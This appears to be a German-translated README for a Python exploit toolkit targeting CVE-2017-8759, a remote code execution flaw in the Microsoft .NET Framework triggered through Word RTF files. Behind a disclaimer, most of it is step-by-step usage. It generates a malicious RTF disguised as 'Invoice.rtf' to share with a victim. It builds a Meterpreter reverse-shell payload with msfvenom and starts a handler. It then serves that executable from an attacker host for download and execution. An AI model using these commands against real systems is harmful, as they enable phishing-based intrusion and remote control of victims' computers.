adeljck/cve-2017-8759CVE-2017-8759 Exploit-Skript für Microsoft Word
Exploit-Tool CVE-2017-8759 ist ein praktisches Python-Skript, das Pentestern und Sicherheitsforschern eine schnelle und effektive Möglichkeit bietet, die RCE-Schwachstelle im Microsoft .NET Framework zu testen. Es kann eine schädliche RTF-Datei generieren und Metasploit-/Meterpreter-/andere Payloads ohne komplexe Konfiguration an das Opfer ausliefern.
Dieses Programm dient ausschließlich Bildungszwecken. Verwenden Sie es nicht ohne Erlaubnis. Der übliche Haftungsausschluss gilt, insbesondere die Tatsache, dass ich (bhdresh) nicht für Schäden haftbar bin, die durch direkte oder indirekte Nutzung der von diesen Programmen bereitgestellten Informationen oder Funktionen verursacht werden. Der Autor oder ein Internetanbieter übernimmt KEINE Verantwortung für den Inhalt oder den Missbrauch dieser Programme oder daraus abgeleiteter Programme. Durch die Nutzung dieses Programms akzeptieren Sie, dass jegliche Schäden (Datenverlust, Systemabsturz, Systemkompromittierung usw.), die durch die Nutzung dieser Programme verursacht werden, nicht in der Verantwortung von bhdresh liegen.
Abschließend: Dies ist eine persönliche Entwicklung. Bitte respektieren Sie deren Philosophie und nutzen Sie sie nicht für schlechte Dinge!
Dem Skript wurden folgende Funktionen hinzugefügt
- Erzeugen einer schädlichen RTF-Datei
- Exploit-Modus für die generierte RTF-Datei
Version: Python 2.7.13
1) Schädliche RTF-Datei generieren
# python cve-2017-8759_toolkit.py -M gen -w Invoice.rtf -u http://192.168.56.1/logo.txt
2) (Optional, falls MSF-Payload verwendet wird) : Metasploit-Payload generieren und Handler starten
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe > /tmp/shell.exe
# msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.56.1; run"
3) Toolkit im Exploit-Modus starten, um die lokale Payload auszuliefern
# python cve-2017-8759_toolkit.py -M exp -e http://192.168.56.1/shell.exe -l /tmp/shell.exe
# python cve-2017-8759_toolkit.py -h
This is a handy toolkit to exploit CVE-2017-8759 (Microsoft .NET Framework RCE)
Modes:
-M gen Generate Malicious file only
Generate malicious RTF/PPSX file:
-w <Filename.rtf> Name of malicious RTF file (Share this file with victim).
-u <http://attacker.com/test.txt> Path of remote txt file. Normally, this should be a domain or IP where this tool is running.
For example, http://attackerip.com/test.txt (This URL will be included in malicious RTF file and will be requested once victim will open malicious RTF file.
-M exp Start exploitation mode
Exploitation:
-p <TCP port:Default 80> Local port number.
-e <http://attacker.com/shell.exe> The path of an executable file / meterpreter shell / payload which needs to be executed on target.
-l </tmp/shell.exe> Specify local path of an executable file / meterpreter shell / payload.